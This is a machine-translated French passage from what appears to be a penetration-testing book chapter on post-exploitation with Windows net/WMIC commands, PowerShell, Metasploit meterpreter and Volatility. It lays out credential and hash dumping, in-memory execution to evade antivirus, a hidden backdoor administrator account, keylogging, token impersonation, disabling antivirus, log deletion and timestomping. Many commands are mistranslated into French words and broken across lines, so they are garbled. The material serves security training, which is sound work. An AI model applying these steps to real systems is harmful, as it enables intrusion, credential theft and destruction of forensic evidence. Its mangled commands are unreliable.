Obtient des informations sur l'utilisateur actuel s'il est
partie du domaine interrogé (si vous êtes un utilisateur local,
alors
/domaine n'est pas obligatoire). Il comprend les heures de
connexion,
la dernière fois que le mot de passe a été modifié, le
les scripts d'ouverture de session et les appartenances aux
groupes.
comptes nets
Imprime la stratégie de mot de passe pour le système local.
Pour imprimer la politique de mot de passe du domaine,
utilisez des comptes nets /domaine.
groupe local net
administrateurs
Imprime les membres du groupe local de l'administrateur.
Utilisez le commutateur /domain pour obtenir les
administrateurs
pour le domaine courant.
groupe réseau "Domaine
Contrôleurs" /domaine
Imprime la liste des contrôleurs de domaine pour le
domaine.
part nette
Affiche les dossiers partagés actuels, qui peuvent ne pas
fournir des contrôles d'accès suffisants pour les données
partagées
dans les dossiers et les chemins vers lesquels ils pointent.

Page 142
Chapitre 5
[ 125 ]
Utilisation du langage de script WMIC
Sur les systèmes plus récents, les attaquants et les testeurs de
pénétration tirent parti des
langages de script, par exemple, Windows Management
Instrumentation
Ligne de commande ( WMIC ), une interface de ligne de
commande et de script utilisée
pour simplifier l'accès à Windows Instrumentation. Si le
système compromis
prend en charge WMIC, plusieurs commandes peuvent être
utilisées pour collecter des informations. Faire référence à
le tableau suivant :
Commander
La description
wmic nicconfig obtenir
adresse i, adresse mac
Obtient l'adresse IP et l'adresse MAC
système informatique wmic obtenir
Nom d'utilisateur
Vérifie le compte qui a été compromis
wmic netlogin obtenir le nom,
dernière connexion
Détermine qui a utilisé ce système en dernier et quand
ils se sont connectés pour la dernière fois
bureau wmic obtenir
économiseur d'écran sécurisé,
temporisation de l'économiseur d'écran
Détermine si les économiseurs d'écran sont des mots de passe
protégé et quel est le délai d'attente
obtenir la connexion wmic
package d'authentification
Détermine les méthodes d'ouverture de session prises en
charge
processus wmic obtenir
légende, chemin de l'exécutable,
ligne de commande
Identifie les processus système
processus wmic où
appel name="process_name"
mettre fin
Termine des processus spécifiques
wmic os obtenir le nom,
servicepackversion majeure
Détermine le système d'exploitation du système
le produit wmic obtient le nom,
version
Identifie les logiciels installés
produit wmic où
name="nom' appeler la désinstallation
/noninteractif
Désinstalle ou supprime les packages logiciels définis
wmic share get /ALL
Identifie les partages accessibles par l'utilisateur

Page 143
Post Exploit - Action sur l'objectif
[ 126 ]
Commander
La description
wmic /node:"nommachine"
chemin Win32_
Paramètre de service de terminal

AllowTSConnections="0"
appeler SetAllowTSConnections
"1"
Démarre RDP à distance
wmic nteventlog obtient le chemin,
nom de fichier, accessible en écriture
Trouve tous les journaux d'événements système et s'assure que
ils peuvent être modifiés (utilisés lorsqu'il est temps de couvrir
vos pistes)
PowerShell est un langage de script basé sur le .NET Framework
qui s'exécute à partir d'un
console, donnant à l'utilisateur l'accès au système de fichiers
Windows et à des objets tels que le
enregistrement. Il est installé par défaut sur le système
d'exploitation Windows 7 et supérieur
versions. PowerShell étend la prise en charge des scripts et
l'automatisation offertes par
WMIC en permettant l'utilisation de l'intégration du shell et de
l'interopérabilité sur les deux
et des cibles éloignées.
PowerShell permet aux testeurs d'accéder à un shell et à un
langage de script sur un
système. Comme il est natif du système d'exploitation
Windows, son utilisation des commandes
ne déclenche pas le logiciel antivirus. Lorsque les scripts sont
exécutés sur un système distant,
PowerShell n'écrit pas sur le disque, contournant l'antivirus et
mettant en liste blanche le
contrôles (en supposant que l'utilisateur a autorisé l'utilisation
de PowerShell).
PowerShell prend en charge un certain nombre de fonctions
intégrées appelées applets de commande.
L'un des avantages de PowerShell est que les applets de
commande sont aliasées vers Unix commun
commandes, donc la saisie de la commande ls renverra une
liste de répertoires typique, comme
montré dans la capture d'écran suivante :

Page 144
Chapitre 5
[ 127 ]
PowerShell est un langage riche capable de prendre en charge
des opérations très complexes ; il est
recommandé à l'utilisateur de prendre le temps de se
familiariser avec son utilisation. Une partie de
les commandes les plus simples qui peuvent être utilisées
immédiatement après un compromis sont
décrit dans le tableau suivant :
Commander
La description
Get-Host | Sélectionnez la version
Identifie la version de PowerShell utilisée
par le système de la victime. Certaines applets de commande
sont
ajoutés ou invoqués dans différentes versions.
Obtenir le correctif
Identifie les correctifs de sécurité installés
et les correctifs système.
Obtenir-Acl
Identifie les noms de groupe et les noms d'utilisateur.
Get-Process, Get-Service
Répertorie les processus et services actuels.
gwmi win32_useraccount
Appelle WMI pour répertorier les comptes d'utilisateurs.
Gwmi_win32_group
Appelle WMI pour répertorier les SID, les noms,
et les groupes de domaines.
Les testeurs de pénétration peuvent utiliser les commandes
natives de Windows, les DLL, les fonctions .NET,
Appels WMI et applets de commande PowerShell ensemble
pour créer des scripts PowerShell avec le
extension .ps1 .
Lors d'un récent test d'intrusion, il nous a été interdit de
installer tout logiciel exécutable sur les systèmes du client.
Nous
utilisé un enregistreur de frappe PowerShell sur un système
compromis pour saisir
informations d'identification de niveau administrateur, puis
compromis la plupart des
systèmes sur le réseau. L'exploit et le post-exploit les plus
efficaces
les scripts, y compris le keylogger, font partie du Nishang de
Nikhil Mittal
paquet (https://code.google.com/p/nishang/downloads/
detail?name=nishang_0.3.0.zip).
La reconnaissance doit également s'étendre au réseau local.
Puisque vous travaillez
"aveugle", vous devrez créer une carte des systèmes et sous-
réseaux actifs que le
hôte compromis peut communiquer avec. Commencez par
entrer IFCONFIG (basé sur Unix
systèmes) ou IPCONFIG /ALL (systèmes Windows) dans l'invite
du shell. Cela permettra
un attaquant pour déterminer ce qui suit :
• Si l'adressage DHCP est activé.
• L'adresse IP locale, qui identifiera également au moins un
sous-réseau actif.

Page 145
Post Exploit - Action sur l'objectif
[ 128 ]
• L'adresse IP de la passerelle et l'adresse du serveur DNS.
Administrateurs système
suivent généralement une convention de numérotation sur
l'ensemble du réseau, et si un
l'attaquant connaît une adresse, telle qu'un serveur de
passerelle 172.16.21.5 , il
ping des adresses telles que 172.16.20.5 , 172.16.22.5 , et ainsi
de suite pour trouver
sous-réseaux supplémentaires.
• Le nom de domaine utilisé pour exploiter les comptes Active
Directory .
Si le système attaquant et le système cible utilisent Windows, la
vue net
La commande peut être utilisée pour énumérer d'autres
systèmes Windows sur le réseau.
Les attaquants utilisent la commande netstat -rn pour examiner
la table de routage, ce qui peut
contiennent des routes statiques vers des réseaux ou des
systèmes d'intérêt.
Le réseau local peut être analysé à l'aide de nmap pour
détecter les diffusions ARP. Dans
De plus, Kali dispose de plusieurs outils qui peuvent être utilisés
pour une analyse des points de terminaison SNMP,
y compris nmap , onesixtyone et snmpcheck .
Le déploiement d'un renifleur de paquets pour cartographier le
trafic vous aidera à identifier les noms d'hôtes, actifs
sous-réseaux et noms de domaine. Si l'adressage DHCP n'est
pas activé, il autorisera également
les attaquants pour identifier les adresses IP statiques
inutilisées. Kali est préconfiguré avec
Wireshark (un renifleur de paquets basé sur une interface
graphique) mais vous pouvez également utiliser tshark dans un
post-
script d'exploitation ou à partir de la ligne de commande,
comme illustré dans la capture d'écran suivante :

Page 146
Chapitre 5
[ 129 ]
Trouver et prendre sensible
données – pillage de la cible
Le terme pillage (parfois appelé chapardage ) est un vestige de
l'époque où
les pirates qui avaient réussi à compromettre un système se
considéraient comme des pirates faisant la course
à leur cible pour voler ou endommager autant de données que
possible. Les termes ont survécu comme
une référence à la pratique beaucoup plus prudente consistant
à voler ou à modifier des droits de propriété ou
données financières lorsque l'objectif de l'exploit a été atteint.
L'attaquant peut alors se concentrer sur la cible secondaire, les
fichiers système qui fourniront
informations pour soutenir des attaques supplémentaires. Le
choix des fichiers secondaires sera
dépendent du système d'exploitation de la cible. Par exemple,
si le compromis
système est Unix, l'attaquant ciblera également les éléments
suivants :
• Les fichiers système et de configuration (généralement dans
le répertoire /etc , mais
selon l'implémentation, ils peuvent être dans /usr/local/etc ou
autres lieux)
• Les fichiers de mots de passe ( /etc/password et /etc/shadow )
• Les fichiers de configuration et les clés publiques/privées
dans le répertoire .ssh
• Les trousseaux de clés publiques et privées pouvant être
contenus dans le
répertoire .gnupg
• Les e-mails et fichiers de données
Dans un système Windows, l'attaquant ciblera les éléments
suivants :
• La mémoire système, qui peut être utilisée pour extraire les
mots de passe, le cryptage
clés, et ainsi de suite
• Les fichiers du registre système
• La base de données du gestionnaire de comptes de sécurité
( SAM ) qui contient
versions du mot de passe, ou des versions alternatives de la
base de données SAM qui
peut être trouvé dans %SYSTEMROOT%\repair\SAM
et %SYSTEMROOT%\System32\
config\RegBack\SAM
• Tout autre mot de passe ou fichier de départ utilisé pour le
cryptage
• Les e-mails et fichiers de données
N'oubliez pas d'examiner les dossiers contenant des éléments
temporaires, tels que
comme pièces jointes. Par exemple,
UserProfile\AppData\Local\
Microsoft\Windows\Temporary Internet Files\ peut
contiennent des fichiers, des images et des cookies susceptibles
de vous intéresser.
Page 147
Post Exploit - Action sur l'objectif
[ 130 ]
Comme indiqué, la mémoire système contient une quantité
importante d'informations pour tout
attaquant. Par conséquent, il s'agit généralement d'un fichier
prioritaire que vous devez obtenir. Le système
La mémoire peut être téléchargée sous forme de fichier image
unique à partir de plusieurs sources comme suit :
• En téléchargeant un outil sur le système compromis, puis
directement
copier la mémoire (les outils incluent Belkasoft RAM capturer ,
MandiantMemoryze et MonsolsDumpIt ).
• En copiant le fichier d'hibernation Windows, hiberfil.sys puis
en utilisant
Volatilité pour décrypter et analyser le fichier. Volatilité,
trouvée sur Kali dans le
Menu Forensics , est un cadre qui a été écrit pour analyser la
mémoire
vidages de la RAM système et d'autres fichiers contenant de la
mémoire système. Ce
s'appuie sur des plugins écrits en Python pour analyser la
mémoire et extraire les données,
tels que les clés de chiffrement, les mots de passe, les
informations de registre, les processus et
informations de connectivité.
• En copiant une machine virtuelle et en convertissant le fichier
VMEM en un
fichier mémoire.
Si vous téléchargez un programme conçu pour capturer de la
mémoire sur un
système, il est possible que cette application particulière soit
identifiée
en tant que logiciel malveillant par un logiciel antivirus. La
plupart des logiciels antivirus
les applications reconnaissent la signature de hachage et le
comportement de la mémoire
logiciel d'acquisition, et agir pour protéger le contenu sensible
des
mémoire en déclenchant une alarme si elle risque d'être
divulguée. L'acquisition
le logiciel sera mis en quarantaine et la cible recevra un
avertissement
eux de l'attaque.
Pour éviter cela, utilisez Metasploit Framework pour exécuter
complètement l'exécutable
dans la mémoire de la cible à l'aide de la commande suivante :
meterpreter> execute -H -m -d calc.exe -f <memory
exécutable + paramètres>
La commande précédente exécute calc.exe en tant
qu'exécutable factice
mais télécharge l'exécutable d'acquisition de mémoire à
exécuter dans son processus
l'espace à la place.
L'exécutable n'apparaît pas dans les listes de processus, telles
que le Gestionnaire des tâches, et
la détection à l'aide de techniques d'analyse des données est
beaucoup plus difficile car ce n'est pas
écrit sur le disque. De plus, cela évitera le logiciel antivirus du
système,
qui ne scanne généralement pas l'espace mémoire à la
recherche de malware.

Page 148
Chapitre 5
[ 131 ]
Une fois la mémoire physique téléchargée, elle peut être
analysée à l'aide de Volatility
Framework, une collection de scripts Python conçus pour
analyser la mémoire de manière légale.
Si le système d'exploitation est pris en charge, Volatility
analysera le fichier mémoire et extraira
ce qui suit:
• Les informations d'image et les données système suffisantes
pour lier l'image à son
système source.
• Les processus en cours, les DLL chargées, les threads, les
sockets, les connexions,
et modules.
• Les sockets et connexions réseau ouverts, et récemment
ouverts
les connexions de réseau.
• L'adresse mémoire, y compris le mappage de la mémoire
physique et virtuelle.
• Les hachages LM/NTLM et les secrets LSA. Hachages de mot
de passe LanMan ( LM )
sont la tentative originale de Microsoft de protéger les mots de
passe. Au fil des années, il
est devenu simple de les casser et de reconvertir les hachages
en un véritable
le mot de passe. Les hachages NT LanMan ( NTLM ) sont plus
récents et plus résistants aux
attaque. Cependant, ils sont généralement stockés avec les
versions NTLM pour le
but de la rétrocompatibilité. Magasins de l' autorité de sécurité
locale ( LSA )
"secrets" que sont les mots de passe locaux : accès distant
(filaire ou sans fil), VPN,
mots de passe de connexion automatique, etc. Tous les mots
de passe stockés sur le système sont
vulnérable, surtout si l'utilisateur réutilise les mots de passe.
• Expressions régulières ou chaînes spécifiques stockées en
mémoire.
Utilisation de l'exemple d'image pour un système infecté par le
malware Zeus ( https://code.
google.com/p/volatility/wiki/SampleMemoryImages ), nous
utiliserons Volatility
Framework pour extraire les hachages de mot de passe cryptés
LanMan.
La première étape consiste à déterminer le type d'image et le
système d'exploitation à l'aide de la
commande suivante :
root@kali:usr/share/volatility# python vol.py imageinfo -f
/root/Desktop/zeus.vmem

Page 149
Post Exploit - Action sur l'objectif
[ 132 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Le plugin hivelist imprimera l'emplacement initial de la
mémoire virtuelle pour les différents
le registre ruche lorsqu'il est appelé à l'aide de la commande
suivante :
root@kali:usr/share/volatility#python vol.py hivelist -f
/root/Desktop/zeus.vmem
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Afin de vider les hachages, les emplacements de mémoire
virtuelle initiaux du SAM et du
Les ruches SYSTEM sont nécessaires. En utilisant la commande
suivante, les résultats sont redirigés vers un
fichier délimité par des virgules à importer directement par une
application de craquage de mot de passe :
root@kali:usr/share/volatility#python vol.py hashdump -f
/root/Desktop/zeus.vmem -y 0xe101b008 -s 0xe1544008
>>/root/Desktop/hashdump.csv

Page 150
Chapitre 5
[ 133 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Les hachages LM isolés peuvent être craqués à l'aide de
Hashcat, John the Ripper, Ophcrack,
et les tables arc-en-ciel.
Création de comptes supplémentaires
Les commandes suivantes sont très invasives et sont
généralement détectées par le système
propriétaire pendant le processus de réponse aux incidents.
Cependant, ils sont souvent plantés
par un attaquant pour détourner l'attention des mécanismes
d'accès plus persistants.
Référez-vous au tableau suivant :
Commander
La description
mot de passe de l'attaquant de l'utilisateur net /
ajouter
Crée un nouveau compte local avec un utilisateur appelé
attaquant avec le mot de passe comme mot de passe.
administrateurs de groupe local net
attaquant / ajouter
Ajoute le nouvel utilisateur attaquant au local
groupe d'administrateurs. Dans certains cas,
la commande sera net localgroup
administrateurs / ajouter un attaquant.
nom d'utilisateur net /actif : oui
/domaine
Change un compte inactif ou désactivé en
actif. Dans une petite organisation, cela attirera
attention. Grandes entreprises avec un mot de passe médiocre
la direction peut avoir 30 pour cent de ses
mots de passe marqués comme « inactifs », il peut donc
être un moyen efficace d'obtenir un compte.
nom de partage net$=C:\ /
subvention:attaquant,complet /
illimité
Partage C : (ou un autre lecteur spécifié) en tant que
Partage Windows et accorde à l'utilisateur (attaquant)
tous les droits d'accès ou de modification de tout le contenu
sur ce lecteur.

Page 151
Post Exploit - Action sur l'objectif
[ 134 ]
Si vous créez un nouveau compte utilisateur, il sera remarqué
lorsque quelqu'un se connectera au
écran d'accueil du système compromis. Pour rendre le compte
invisible, vous devez
pour modifier le registre à partir de la ligne de commande à
l'aide de la commande REG suivante :
AJOUTER REG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\C
urrentVersion
\WinLogon\SpecialAccounts\UserList /V account_name /
T REG_DWORD /D 0
Cela modifiera la clé de registre désignée pour masquer le
compte de l'utilisateur ( /V ).
Encore une fois, il peut y avoir des exigences de syntaxe
spéciales basées sur la version spécifique du
système d'exploitation de la cible, déterminez donc d'abord la
version de Windows, puis validez
dans un environnement de test contrôlé avant de l'appliquer à
la cible.
Utiliser Metasploit pour le post-exploit
Activités
Metasploit a été développé pour prendre en charge les
activités d'exploitation et de post-exploitation. Les
la version actuelle contient environ 200 modules qui simplifient
la post-exploitation
Activités. Nous passerons en revue certains des modules les
plus importants.
Dans les captures d'écran suivantes, nous avons exploité avec
succès un système Windows XP
(une attaque "classique" qui est fréquemment utilisée pour
valider des aspects plus complexes de
compteur-prêtre ). La première étape consiste à effectuer une
reconnaissance immédiate de la
réseau et le système compromis.
La coque initiale du compteur-presseur est fragile et vulnérable
aux défaillances sur une
période de temps prolongée. Par conséquent, une fois qu'un
système est exploité, nous allons migrer le
shell et le lier avec un processus plus stable. Cela permet
également de détecter l'exploit
Plus difficile.
À l' invite meterpreter , entrez ps pour obtenir une liste des
processus en cours, comme indiqué
dans la capture d'écran suivante :

Page 152
Chapitre 5
[ 135 ]
La commande ps renvoie également le chemin d'accès complet
pour chaque processus. Ceci a été omis
de la capture d'écran précédente. La liste ps identifie que
c:\windows\Explorer.
EXE est en cours d'exécution. Dans ce cas particulier, il est
identifié avec l'ID de processus de 1460 , comme
montré dans la capture d'écran suivante. Comme il s'agit d'une
application généralement stable, nous allons
migrez le shell vers ce processus.
Maintenant que nous avons une connexion shell stable au
système distant, nous allons utiliser le
scripts meterpreter qui prennent en charge les activités de
post-exploitation.

Page 153
Post Exploit - Action sur l'objectif
[ 136 ]
L'un des premiers paramètres à identifier est : sommes-nous
sur une machine virtuelle ? Avec le
session meterpreter ouverte entre le système compromis et
l'attaquant,
la commande run checkvm est émise, comme illustré dans la
capture d'écran suivante. Les
les données renvoyées indiquent qu'il s'agit d'une machine
virtuelle VMware .
Certains des modules post-exploit les plus importants
disponibles via meterpreter
sont décrits dans le tableau suivant :
Commander
La description
exécuter checkvm
Détermine si une machine virtuelle est présente.
exécuter getcountermeasure
Vérifie la configuration de sécurité sur l'exploité
système (antivirus, pare-feu, etc.).
exécuter killav
Désactive la plupart des services antivirus exécutés sur
le système compromis. Ce script est fréquemment
obsolète et le succès doit être vérifié manuellement.
exécuter hostsmodifier
Permet à l'attaquant d'ajouter des entrées au Windows
fichier HTES. Cela peut détourner le trafic vers un autre
site (un faux site), qui téléchargera d'autres
outils ou s'assurer que le logiciel antivirus ne peut pas
connectez-vous à Internet ou à un serveur local pour obtenir
mises à jour des signatures.
exécuter winenum
Exécute une ligne de commande et WMIC
caractérisation du système exploité. ça jette
les clés importantes du registre et les hachages LM.
exécuter le grattoir
Recueille des informations complètes qui n'ont pas
été rassemblés par d'autres scripts, tels que l'ensemble
Registre des fenêtres.
exécuter le téléchargement et exécuter le téléchargement
Permet à l'attaquant de télécharger et de télécharger des
fichiers
sur le système cible.

Page 154
Chapitre 5
[ 137 ]
Commander
La description
exécuter keyscan_start, exécuter
keyscan_stop, et exécutez
keyscan_dump
Démarre et arrête un keylogger local sur l'exploité
système. Une fois la collecte des données terminée, le
les données textuelles collectées sont déversées sur le système
de l'attaquant.
exécuter getprivs
Tente d'activer tous les privilèges disponibles
au processus en cours. C'est très utile pour le privilège
escalade.
exécuter getsystem
Tentatives d'élévation des privilèges vers Windows
Niveau SYSTÈME ; accorde la plus grande escalade possible
des privilèges d'un utilisateur.
Exécuter le hashdump
Vide le contenu de la base de données SAM sur le
système de l'attaquant.
exécuter getgui
Permet à l'utilisateur d'activer RDP (getgui -e) et
définissez le nom d'utilisateur et le mot de passe (getgui -u).
Les
Le script gettelnet peut être exécuté de la même manière.
exécuter vnc
Donne à l'attaquant une interface graphique distante (VNC) au
système compromis.
L'un des scripts meterpreter les plus efficaces est l'
énumérateur Windows
( vinum ). Comme le montre la capture d'écran suivante, il
utilise à la fois la ligne de commande et
Appels WMIC pour caractériser complètement le système cible :

Page 155
Post Exploit - Action sur l'objectif
[ 138 ]
En plus de l'énumération, le script winenum vide également le
registre et
collecte les hachages système pour le déchiffrement, comme
illustré dans la capture d'écran suivante :
Le meterpreter est livré avec plusieurs bibliothèques utiles qui
prennent en charge les
les fonctions. Par exemple, la bibliothèque espia prend en
charge les captures d'écran des
système via les commandes suivantes :
meterpreter> utiliser espia
Chargement de l'extension espia ... succès.
meterpreter> capture d'écran /Desktop/target.jpeg
Capture d'écran enregistrée dans : /root/xsWoDDbW.jpeg
La bibliothèque stdapi permet à un attaquant distant de
manipuler une webcam en
collecter l'audio et la vidéo du système compromis et les
relayer
données à l'attaquant.

Page 156
Chapitre 5
[ 139 ]
Escalade des privilèges d'utilisateur sur un
hôte compromis
Il est généralement possible d'obtenir un accès Invité ou
Utilisateur à un système. Souvent, l'attaquant
la capacité d'accéder à des informations importantes sera
limitée par de tels niveaux de privilèges réduits.
Par conséquent, une activité post-exploitation courante
consiste à élever les privilèges d'accès de l' invité
à Utilisateur à Administrateur et, enfin, à SYSTÈME . Cette
progression vers le haut du gain
les privilèges d'accès sont généralement appelés escalade
verticale .
L'utilisateur peut mettre en œuvre plusieurs méthodes pour
obtenir des informations d'identification d'accès avancées,
comprenant les éléments suivants :
• Utilisez un renifleur de réseau et/ou un enregistreur de
frappe pour capturer l'utilisateur transmis
informations d'identification ( dsniff est conçu pour extraire les
mots de passe des transmissions en direct
ou un fichier pcap enregistré à partir d'une session Wireshark
ou tshark).
• Effectuez une recherche des mots de passe stockés
localement. Certains utilisateurs collectent des mots de passe
dans un dossier de courrier électronique (souvent appelé mots
de passe ). Étant donné que la réutilisation des mots de passe
et
les systèmes de construction de mots de passe simples sont
courants, les mots de passe qui sont
trouvés peuvent être utilisés pendant le processus d'escalade.
NirSoft ( www.nirsoft.net ) produit plusieurs outils gratuits qui
peuvent être téléchargés
au système compromis en utilisant meterpreter pour extraire
les mots de passe de
le système d'exploitation et les applications qui mettent en
cache les mots de passe (courrier,
logiciels d'accès, FTP et navigateurs Web).
• Videz les fichiers SAM et SYSKEY à l'aide de meterpreter ou
d'applications telles que
hobocopy , fgdump et pwdump (ceux-ci peuvent être
téléchargés sur la cible en utilisant
compteur-prêtre ).
• Injecter du code malveillant directement dans un service
s'exécutant au niveau SYSTEM en utilisant
un outil tel que l'injecteur de processus
( www.tarasco.org/security/Process_
Injecteur/ ).
• Lorsque certaines applications se chargent, elles lisent les
fichiers de bibliothèque de liens dynamiques ( DLL )
dans un ordre particulier. Il est possible de créer une fausse DLL
avec le même
nom en tant que DLL légitime, placez-le dans un emplacement
de répertoire spécifique et
charger l'application et l'exécuter, ce qui entraîne des privilèges
élevés
pour l'agresseur. Plusieurs applications sont connues pour être
vulnérables à de telles
Détournement de DLL ( www.exploit-db.com/dll-hijacking-
vulnerable-
candidatures/ ).

Page 157
Post Exploit - Action sur l'objectif
[ 140 ]
• Appliquer un exploit qui utilise un débordement de tampon
ou d'autres moyens pour
augmenter les privilèges.
• Exécutez le script getsystem , qui s'intensifiera
automatiquement
privilèges d'administrateur au niveau SYSTEM , à partir de l'
invite meterpreter .
Windows 7 et 2008 n'autorisent pas l'accès à distance aux
partages administratifs,
tels que ADMIN$, C$, etc., à partir de systèmes non fiables. Ces
actions
peut être requis pour les scripts meterpreter, tels que incognito,
ou pour
soutenir les attaques sur SMB. Pour résoudre ce problème,
ajoutez HKEY_LOCAL_
MACHINE\LOGICIEL\Microsoft\Windows\VersionCurrent\
Policies\System au registre et ajoutez une nouvelle clé DWORD
(32 bits)
nommé LocalAccountTokenFilterPolicy et définissez la valeur
sur 1.
Rejouer les jetons d'authentification
utiliser la navigation privée
Une bibliothèque meterpreter particulièrement intéressante
est incognito , qui vous permet
pour usurper l'identité et rejouer les jetons d'utilisateur. Les
jetons sont des clés temporaires qui vous permettent de
accéder aux ressources réseau et système sans avoir à fournir
votre mot de passe ou
d'autres informations d'identification avec chaque accès
particulier. Ces jetons persistent sur un système jusqu'à ce qu'il
est redémarré.
Une fois que vous avez compromis un système, vous pouvez
utiliser des jetons pour usurper l'identité d'un ancien
utilisateur qui a créé des jetons, sans avoir besoin de déchiffrer
le mot de passe de l'utilisateur. Ce jeton
l'usurpation d'identité peut permettre à un attaquant d'élever
ses privilèges.
À l'invite, tapez ce qui suit :
utiliser incognito
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :

Page 158
Chapitre 5
[ 141 ]
La première étape consiste à identifier tous les jetons valides
présents sur le
système compromis. Le nombre de jetons que vous pouvez voir
dépendra de la
niveau d'accès initialement utilisé pour compromettre le
système cible.
Vous verrez également qu'il existe deux types de jetons,
comme indiqué ci-dessous
capture d'écran. Les jetons de délégation prennent en charge
les ouvertures de session interactives (par exemple,
un système localement ou via un bureau distant). Les jetons
d'usurpation d'identité sont pour non interactifs
sessions, par exemple lorsqu'un système se connecte à un
lecteur réseau.
Comme vous pouvez le voir, un jeton de délégation a été
identifié en tant qu'administrateur . Si nous
peut usurper l'identité de ce jeton, nous pouvons assumer ses
privilèges.
Lors de l'appel de la commande impersonate_token en mode
navigation privée (comme indiqué dans le
capture d'écran suivante), notez que deux barres obliques
inverses sont requises dans la commande :
Maintenant, si nous exécutons la commande shell à partir de l'
invite meterpreter et entrons whoami ,
il nous identifiera comme l'administrateur dont nous avons
usurpé l'identité du jeton.

Page 159
Post Exploit - Action sur l'objectif
[ 142 ]
Manipulation des identifiants d'accès avec
Éditeur d'informations d'identification Windows
L' éditeur d'informations d'identification Windows ( WCE ) —
http://www.ampliasecurity.com/
research/wcefaq.html —est une version raffinée du script
incognito. C'est disponible
en versions 32 bits et 64 bits ainsi qu'une version "universelle"
prétendument
utilisable sur toutes les plateformes Windows. WCE permet aux
utilisateurs d'effectuer les opérations suivantes :
• Effectuer des attaques pass-the-hash sur les systèmes
Windows
• Collecter les informations d'identification NTLM à partir de la
mémoire système (avec ou sans
injection de code)
• Collecter des tickets Kerberos à partir des systèmes Windows
• Utiliser les tickets Kerberos collectés sur d'autres systèmes
Windows ou Unix
obtenir l'accès
• Dump des mots de passe en clair stockés par les systèmes
Windows
(voir la section suivante)
Pour utiliser WCE, téléchargez l'exécutable sur le système
compromis à partir du
invite meterpreter . Ensuite, lancez un shell interactif et
exécutez WCE. Comme toi
peut voir dans la capture d'écran suivante, l' option -w a
facilement extrait le texte en clair
Mot de passe administrateur :
Page 160
Chapitre 5
[ 143 ]
Escalade d'administrateur à SYSTÈME
Les privilèges d'administrateur permettent à un attaquant de
créer et de gérer des comptes et des accès
la plupart des données disponibles sur un système. Cependant,
certaines fonctionnalités complexes exigent
que le demandeur dispose de privilèges d'accès au niveau
SYSTEM . Il existe plusieurs façons de
continuer cette escalade au niveau SYSTEM . Le plus courant
est d'utiliser l' at
commande, qui est utilisée par Windows pour planifier des
tâches à une heure donnée. Le à
La commande s'exécute toujours avec des privilèges au niveau
SYSTEM .
À l'aide d'un shell interactif (entrez shell à l' invite meterpreter ),
ouvrez un
invite de commande et déterminez l'heure locale du système
compromis. Si le temps
est 12h50 (la fonction at utilise une notation de 24 heures),
programmez un
shell de commande pour une date ultérieure, comme indiqué
dans la capture d'écran suivante :
Une fois la tâche at planifiée pour s'exécuter, reconfirmez vos
privilèges d'accès au
l' invite meterpreter , comme illustré dans la capture d'écran
suivante :
Comme vous pouvez le voir, les privilèges ont été augmentés
au niveau SYSTEM .
Accéder à de nouveaux comptes avec horizontal
escalade
Dans l'escalade horizontale, l'attaquant conserve ses
informations d'identification existantes mais les utilise
d'agir sur le compte d'un autre utilisateur. Par exemple, un
utilisateur sur un système compromis A
attaque un utilisateur sur le système B pour tenter de le
compromettre.
Nous utiliserons des attaques d'escalade horizontale lorsque
nous passerons en revue certains vecteurs d'attaque, tels que
comme des attaques d'accès à distance.

Page 161
Post Exploit - Action sur l'objectif
[ 144 ]
Couvrir vos traces
Une fois qu'un système a été exploité, l'attaquant doit brouiller
les pistes pour
éviter la détection, ou au moins rendre la reconstruction de
l'événement plus difficile pour
le défenseur.
Un attaquant peut supprimer complètement les journaux
d'événements Windows (s'ils sont activement
conservé sur le serveur compromis). Cela peut être fait via un
shell de commande au
système et en utilisant la commande suivante :
C:\ del %WINDIR%\*.log /a/s/q/f
La commande indique que tous les journaux doivent être
supprimés ( /a ), y compris les fichiers
de tous les sous-dossiers ( /s ). L' option /q désactive toutes les
requêtes, demandant
une réponse oui ou non , et l' option /f supprime de force les
fichiers, effectuant la récupération
Plus difficile.
Cela peut également être fait à partir de l' invite meterpreter
en émettant la commande
clearev . Cela effacera les journaux des applications, du
système et de sécurité de la cible
(il n'y a pas d'options ou d'arguments pour cette commande).
Normalement, la suppression d'un journal système ne
déclenche aucune alerte pour l'utilisateur. En fait, la plupart
les organisations configurent la journalisation de manière si
aléatoire que les journaux système manquants sont traités
comme un événement possible, et leur perte ne fait pas l'objet
d'une enquête approfondie.
Metasploit a une astuce supplémentaire dans sa manche : l'
option timestomp permet
un attaquant pour apporter des modifications aux paramètres
MACE d'un fichier (le dernier modifié,
Heures d'accès, de création et d'entrée MFT modifiées d'un
fichier). Une fois qu'un système a été
compromis et un shell meterpreter établi, timestomp peut être
invoqué, comme
montré dans la capture d'écran suivante :

Page 162
Chapitre 5
[ 145 ]
Par exemple, C: du système compromis contient un fichier
nommé README.txt .
Les valeurs MACE de ce fichier indiquent qu'il a été créé
récemment, comme indiqué dans le
capture d'écran suivante :
Si nous voulons masquer ce fichier, nous pouvons le déplacer
vers un répertoire encombré, tel que
windows\system32 . Cependant, le fichier serait évident pour
quiconque a trié les
contenu de ce répertoire sur la base des dates de création ou
d'un autre
variable. Par conséquent, pour copier les informations MAC du
fichier cmd.exe vers le
README.txt , utilisez la commande suivante :
meterpreter>timestomp README.txt -f
C:\\WINDOWS\system32\cmd.exe
Nous pouvons également choisir de supprimer les données
MAC à l'aide du commutateur -b . Comme tu peux le voir
dans la capture d'écran suivante, nous avons choisi de changer
les données MAC en une heure dans le
futur (l'année 2106 ).

Page 163
Post Exploit - Action sur l'objectif
[ 146 ]
Un tel changement attirera l'attention d'un enquêteur, mais il
ne pourra pas
utiliser les données pour une analyse médico-légale. À quoi
ressemblent les attributs de l'original
Plateforme Windows ? Si l'administrateur système appelle les
propriétés système d'un fichier,
les dates de création et de modification ont été ramenées à
l'année 1601 (le
date utilisée par Microsoft comme heure de démarrage initiale
du système). En revanche, le dernier accès
l'heure du fichier reste exacte. Vous pouvez le voir dans la
capture d'écran suivante :
Bien qu'il s'agisse d'un comportement attendu, il fournit tout
de même des indices à un enquêteur. En ordre
pour gâcher complètement une enquête, un attaquant peut
modifier récursivement tous les
définissez les heures dans un répertoire ou sur un lecteur
particulier à l'aide de la commande suivante :
meterpreter>timestompC:\\ -r
La solution n'est pas parfaite. Il est très évident qu'une attaque
a eu lieu.
